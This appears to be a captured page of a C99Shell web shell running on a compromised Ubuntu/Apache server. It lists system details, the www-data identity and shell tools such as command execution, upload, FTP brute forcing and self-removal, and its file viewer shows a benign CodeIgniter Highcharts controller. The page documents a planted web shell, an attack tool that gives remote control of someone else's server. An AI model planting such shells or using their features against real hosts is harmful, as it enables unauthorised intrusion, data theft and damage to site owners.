!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/almazen2/application/controllers/   drwxr-xr-x
Free 9.79 GB of 29.4 GB (33.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     charts.php (5.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php if ( ! defined('BASEPATH'))  exit('No direct script access allowed');

class 
Charts extends CI_Controller 
{     
    function 
__construct()     
    {         
        
parent::__construct();                  
        
$this->load->helper('url');
        
$data['home'] = strtolower(__CLASS__).'/';
        
$this->load->vars($data);
    }
 
    function 
index()
    {
        
// simple highcharts example
        
$this->load->library('highcharts');
 
        
// esta es la info que necesitamos pasar al primer ejemplo, de esta forma se pintan los datos
        
$serie['data'] = array(20456022636);
 
        
$data['charts'] = $this->highcharts->set_serie($serie)->render();
 
        
$this->load->view('charts'$data);
 
    }
    function 
categories()
    {
 
        
$graph_data $this->_data();
 
        
$this->load->library('highcharts');
 
        
$this->highcharts->set_type('column'); // drauwing type
        
$this->highcharts->set_title('INTERNET WORLD USERS BY LANGUAGE''Top 5 Languages in 2010'); // set chart title: title, subtitle(optional)
        
$this->highcharts->set_axis_titles('language''population'); // axis titles: x axis,  y axis
 
        
$this->highcharts->set_xAxis($graph_data['axis']); // pushing categories for x axis labels
        
$this->highcharts->set_serie($graph_data['users']); // the first serie
        
$this->highcharts->set_serie($graph_data['popul']); // second serie
 
        // we can user credits option to make a link to the source article.
        // it's possible to pass an object instead of array (but object will be converted to array by the lib)
        
@$credits->href 'http://www.internetworldstats.com/stats7.htm';
        @
$credits->text "Article on Internet Wold Stats";
        
$this->highcharts->set_credits($credits);
 
        
$this->highcharts->render_to('my_div'); // choose a specific div to render to graph
 
        
$data['charts'] = $this->highcharts->render(); // we render js and div in same time
        
$this->load->view('charts'$data);
    }
 
    function 
template()
    {
        
$graph_data $this->_data();
 
        
$this->load->library('highcharts');
        
$this->highcharts
            
->initialize('chart_template'// load template
            
->push_xAxis($graph_data['axis']) // we use push to not override template config
            
->set_serie($graph_data['users'])
            ->
set_serie($graph_data['popul'], 'Another description'); // ovverride serie name
 
        // we want to display the second serie as sline. First parameter is the serie name
        
$this->highcharts->set_serie_options(array('type' => 'spline'), 'Another description');
 
        
$data['charts'] = $this->highcharts->render();
        
$this->load->view('charts'$data);
    }
 
    function 
active_record()
    {
        
$result $this->_ar_data();
 
        
// set data for conversion
        
$dat1['x_labels']     = 'contries'// optionnal, set axis categories from result row
        
$dat1['series']     = array('users''population'); // set values to create series, values are result rows
        
$dat1['data']        = $result;
 
        
// just made some changes to display only one serie with custom name
        
$dat2 $dat1;
        
$dat2['series'] = array('custom name' => 'users');
 
        
$this->load->library('highcharts');
 
        
// displaying muli graphs
        
$this->highcharts->from_result($dat1)->add(); // first graph: add() register the graph
        
$this->highcharts
            
->initialize('chart_template')
            ->
set_dimensions(''200// dimension: width, height
            
->from_result($dat2)
            ->
add(); // second graph
 
        
$data['charts'] = $this->highcharts->render();
        
$this->load->view('charts'$data);
    }
 
    function 
data_get()
    {
        
$this->load->library('highcharts');
 
        
// some data series
        
$serie['data'] = array(20456022636);
        
$this->highcharts->set_serie($serie);
 
        
$data['array']  = $this->highcharts->get_array();
        
$data['json']   = $this->highcharts->get(); // false to keep data (dont clear current options)
        
$this->load->view('charts'$data);
 
    }
 
    
    
// HELPERS FUNCTIONS
    /**
     * _data function.
     * data for examples
     */
    
function _data()
    {
        
$data['users']['data'] = array(5365648374449480131533090749914370082548200);
        
$data['users']['name'] = 'Users by Language';
        
$data['popul']['data'] = array(12775281331365524982420469703126804433250372925);
        
$data['popul']['name'] = 'World Population';
        
$data['axis']['categories'] = array('English''Chinese''Spanish''Japanese''Portuguese');
 
        return 
$data;
    }
 
    
    
/**
     * _ar_data function.
     * simulate Active Record result
     */
    
function _ar_data()
    {
        
$data $this->_data();
        foreach (
$data['users']['data'] as $key => $val)
        {
            
$output[] = (object)array(
                
'users'         => $val,
                
'population'    => $data['popul']['data'][$key],
                
'contries'        => $data['axis']['categories'][$key]
            );
        }
        return 
$output;
    }
 

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0052 ]--